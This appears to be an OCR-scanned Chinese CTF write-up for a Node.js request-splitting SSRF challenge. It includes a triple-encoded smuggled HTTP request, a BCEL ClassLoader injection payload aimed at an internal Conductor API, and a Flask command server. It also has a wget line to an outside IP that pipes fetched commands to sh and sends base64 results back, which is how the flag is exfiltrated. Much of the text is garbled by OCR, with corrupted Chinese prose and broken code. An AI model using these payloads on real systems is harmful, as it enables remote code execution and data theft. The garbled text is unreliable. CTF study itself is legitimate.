esult\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{@122}TIME_OUT_WF\u{0122},\u{@122}retrylLogic\u{0122}:\u{0122}FIXE
D\u{0122},\u{@122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0@122}responseTimeoutSeconds\u{0122}:\u{0122}3
600\u{0122},\u{@122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{@122}rateLimitFrequencyInSeconds\u{0122}:
\u{0122}60\u{0122},\u{@122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{@122}isolationgroupId\u{0122}:\u{
0122}myIsolationGroupId\u{@122}\u{017d}]"

console.log(encodeURI(encodeURI(encodeURI( 'http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{@10A}HOSt:127.0.0.1:30
00\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.130.9:8080/api/metadata/taskdefs\u{0120}HT]
TP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{@1PA}Content-Type:application/json\u{@10D}\u{0@10A}Content-Le|
ngth:' + post_payload.length + '\u{@1@D}\u{@10A}\u{@10D}\u{@10A}' + post_payload + '\u{@1eD}\u{010A}\u{@1eD}\u{@
10A}\u{010D}\u{010A}\u{0@10D}\u{0@10A}GET\u{0120}/private'))))

BITERAN (XBEMER D) GR-FVURTER - TROBENAD)




http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AH0st:127.0.0.1:3000%2525C4%25258D%2525C47%2|
5258A%2525C4%25258D%2525C4%25258AP0ST%2525C4%2525A0/search?url=http://10.0.130.9:8080/api/metadata/taskdefs%2525
C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:applica
tion/json%2525C4%25258D%2525C4%25258AContent-Length:1424%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A
%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2 : %2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7
.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7) .newInstance()
.loadClass (%2525C4%2525A7$$BCEL$$$1$8bSISATASASASASASAMQSCONSc2$403U$3dS$k$852$e4$rusf8$CH5d$I$9a$c8%c6$j$c6$8d
$d1$V$3e$0D$XN$YURSHIK$ca$40$t8$p$d71$d0$b8$FOEDSFcHuSFSNCcScaD$t$99s%e7$9e$7b%e6$dcy$bcs7F$bctbe$B8$cO$b6$81$ESO
6$MSUPLS60YSCc55VEj$reD1$94usacteaXc$88%$1$K0Sc8$p$86HSad$7e$cd$Q$3dsf6$efoCbasrs3ct7e$3ersbb$3cte8Xdd$3el$aosbe
$basec$c73k$Qeb$elbee$S$co$5dKxIM$c5$dam$abgs8dSadF$dfEF2$9cF$5b$Gc2s$9ascascensfbsa3$cote6$a7BY$q0$c6$a2$bf$a
ft$s$920t$ac$9b$d8$cO$sCn$F8PiHWSdO$e8$bbsbe7$94$3cp$isTIVT$Z$F25$d7$93$89%cd$HRSF8$9e$89$2$Y$d4Z2$b91d$e6$8a$8bn
$8Ff$db$92$n$3b%a7$aeF$9e$Us$$T56$1$$$7F$92BSad$desfa$a3i$92$r$ofp$obasa7$fescte$7eQ$97$810$F3$e1$906%a4$HT$94%el
$cbt$CEcb$e6$a8B$a7$XWCIDS$97$q$5c$a0bec$8er$8dbqsf7$2$ecFz$$2CHF4$e6$1$89%d6$de$MF1$vEac$a2HénCS1$a3$c1$q$5d$
20$c2$1$b11$e2$93T$d1$91$r$e7$C9$a6$a8$92$81$F6I1$cOtSySWHGCMSF6$bb$5b$89$sSs$g$$$94a$3c$qR$84$bO$FOPEFO$ r$e5$f7,
SWqPCEA$A%2525C4%2525A7) .newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2
1%2525C4%2525A2test@example.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2 : %2525C4%2525A23%2525C4%2525
A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%25
25A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4]
%2525A20utputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2, %25
25C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C
4%2525A2,%2525C4%2525A2retrylLogic%2525C4%2525A2 :%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySecond
S%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2 : %2525C4%2525A
23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2 : %2525C4%2525A2100%2525C4%2525A2 , %2525C4%2525
A2ratelimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency’%2,
525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A21isolationgroupld%2525C4%2525A2:%2525C4%2525A2myIsolati
onGroupId’%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%2525
8D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

B Ewebfk 5 2&flask1.pyfRig

import os
from flask import Flask,redirect
from flask import request

app = Flask(__name__ )

@app.route('/")
def hello():
return open("testl.txt").read()

@app.route('/command.txt")
def hellol():
return open("commandl.txt").read()
@app.route('/command")
def hello2():
return open("commandl.txt").read()

if name_ == '_ main__ ':
port = int(os.environ.get('PORT',8080 ))
app.run(host='0.0.0.0"', port=port)

command1.txtN & GX BB ZBERITHRAE®TS)

test! It &

wget http://42.193.22.50:8080/1?a="wget -0- http://42.193.22.50:8080/command|sh|base64"




XEEMT AL — Ttestt RABRXMITER, RIISELnxhERITRAGSHITIR, BEETE, RIMTUTHEER
fil 56 R IREL T command o K A B AT T RE fr4, Kam @ PUT S RiBid base64 N Haltt S, RIEHRENAIwebik 55
%, FTUBA TR oy @ HIPAT AR

17a="wget -0- http://42.193.2 mmand | sh|base64"
ymmand

100%[ --.-KB/s in @s

t [7/7]

[ di) LbnR1Cg==]

R RN T EiLtestI WA F BN L, iLEAEEN ERIT
RIEMAERLFE, SiBEwebk s

ubuntu@VM-0-5-ubuntu:~/flasktest$ python flaskl.py
* Serving Flask app "flaskl" (lazy loading)
* Environment: production

Use a production WSGI server instead.
* Debug moc off
* Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)

s Mssrf i) 45 R —
< C A TE2 | T1b6fdf2-bf01-442b-bee7-832ea6806157.node4.buuoj.cn:81/proxy?url=http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHos... B Y« @ *»
WA @ YouTube 9 @ B @hE BE webTH WA trick python IBEM El

@lmonstergg

3/ (Press CTRL+C to quit)
:14:17]1 "GET / HTTP/1.1" 200 -

RIEVT S5 R =

* Runnin g J.0:8080/ (Press CTRL+C to quit)
117.2 . 166 / 14: "GET / HTTP/1.1" 2

“GET |
"GET




T LLE BB basebdMBZLER T, baseb4 % 5 &R Nroot, iEHwhoamifIhAT
DES, AESETIFRINEESE MDShn=E/g= URLANZE JShn/E=E ISBEINEESE ESCAPENN/#2% BASEG4 BN/ e s,

root cm9vdAo=

BT RIBE B, SEicommand.txtit) A A B A cat Mlag Bk kv Mg R —MEG R =, Bralbl&3flagT

“Cubuntu 1-8-5-ubuntu:~/flasktest$ vim commandl.txt
ubuntu@VM ubuntu:~/flasktest$ python flaskl.py

: ving Flask app "flask (lazy loading)

* Environment:

ss CTRL+C to quit)
8:421 "GET / HTTP/1.1" 2
5] "GET /command HTTP, B
£ ) IO RN " mxh 735y YmQzM2Q0ZC1hNDkyLTQzNj QtYmFjMiOINTU4ZWIkZTgxZTNICg==gl=TpIiF

DES, AESERFRINERR S MD5HNEE /R URLANES = ESCAPENN/fEE BASE64 BrlMmaE RS, BRE, BEERURLINES
flag{?bd33d4d-a492-4364-bac?-5558ebde81e3 ZmxhZ3sy¥YmQzM2Q07C1hNDkyl TQzNjQtYmFjMiOTNTU4ZWIKZ TgxZ TNICg==
[mE=1 BEEAR

SENE:
https://www.zhaoj.infread-6905.html#i-2
https://miaotony.xyz/2021/04/05/CTF_2021HFCTF _internal_system/#toc-heading-8
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